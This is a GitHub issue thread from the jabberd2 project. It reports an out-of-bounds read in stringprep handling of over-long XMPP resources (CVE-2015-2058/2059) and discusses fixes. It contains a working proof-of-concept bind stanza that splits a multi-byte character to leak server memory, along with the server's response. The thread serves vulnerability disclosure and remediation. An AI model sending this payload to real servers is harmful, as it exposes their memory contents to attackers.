-
Notifications
You must be signed in to change notification settings - Fork 172
Stringprep calls may reveal random memory #85
Comments
So, this is not really about leaking any memory, rather than reading outside given buffer boundary, right? |
Sorry, I meant leaking as in "revealing to random people on the internet", not leaking as the usual meaning of leaving inaccessible data in memory. That workaround might work, but the string will still be invalid UTF-8, and |
That's a valid point - we should abide libidn API. I guess it's time to bite the bullet and introduce real UTF-8 string handling functions to jabberd2. Other option would be to move away from libidn to ICU, but that would get jabberd2 much heavier. |
Is this only possible post-authentication? Though, even if this case is, there's stuff in authreg that looks very similar, and I suspect that might well be in the authentication process. Is there a CVE for this? |
A CVE id has been requested for this issue, oss-sec mailing list: http://seclists.org/oss-sec/2015/q1/487 |
A CVE id has been assigned for this issue: CVE-2015-2058. The out-of-bounds reading by libidn has been assigned a different id, CVE-2015-2059. |
http://www.gnu.org/software/libunistring/ looks good and we should use it for all UTF8 string processing. |
When a bind iq comes in, the following happens:
c2s/c2s.c#L285 grabs the bytes of the chosen resource. If the resource was > 1023 bytes, only the first 1023 bytes are copied.
That calls
jid_reset_components
, which eventually ends up injid_prep_pieces
.That calls
stringprep_xmpp_resourceprep(resource, 1024)
. However, thestringprep
functions from libidn require the input to be valid UTF8. Nothing has checked whether the resource is still UTF8 after trimming it to 1023 characters.If the resource ends with just a part of a multi-byte character (so is not valid UTF-8) then
stringprep
skips over the terminatingNULL
-byte. This means data past the resource buffer will be also read as if they are part of the resource.The libidn documentation claims "This function will not read or write to characters outside that size." about the length of the buffer that needs to be specified, but this is not true, it will continue reading until it finds a terminating
NULL
-byte. It will only not write outside that size. Therefore it is possible to cause the data after the resource buffer to become part of the result. By including some characters that should be removed according to the XMPP resource stringprep profile, it is possible to make sure random data in the server's memory ends up in the returned resource.For example:
C:
<iq type='set' id='bind'><bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'><resource>\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200D\u200DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAрф</resource></bind></iq>
\u200D
shown here escaped, it is mapped to nothing by the stringprep profile. The string is exactly long enough such that theф
gets cut into two when taking the first 1023 bytes.S:
<iq xmlns='jabber:client' id='bind' type='result'><bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'><jid>test@localhost.localdomain/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAррlocalhost.localdomain</jid></bind></iq>
The data in this case is harmless as it is the domain, but the same trick likely works for the domain and node parts of a JID. Different compilers and different architectures may also lead to different results.
What should happen is making sure the different components are valid UTF-8 before calling any of the
stringprep
functions.The text was updated successfully, but these errors were encountered: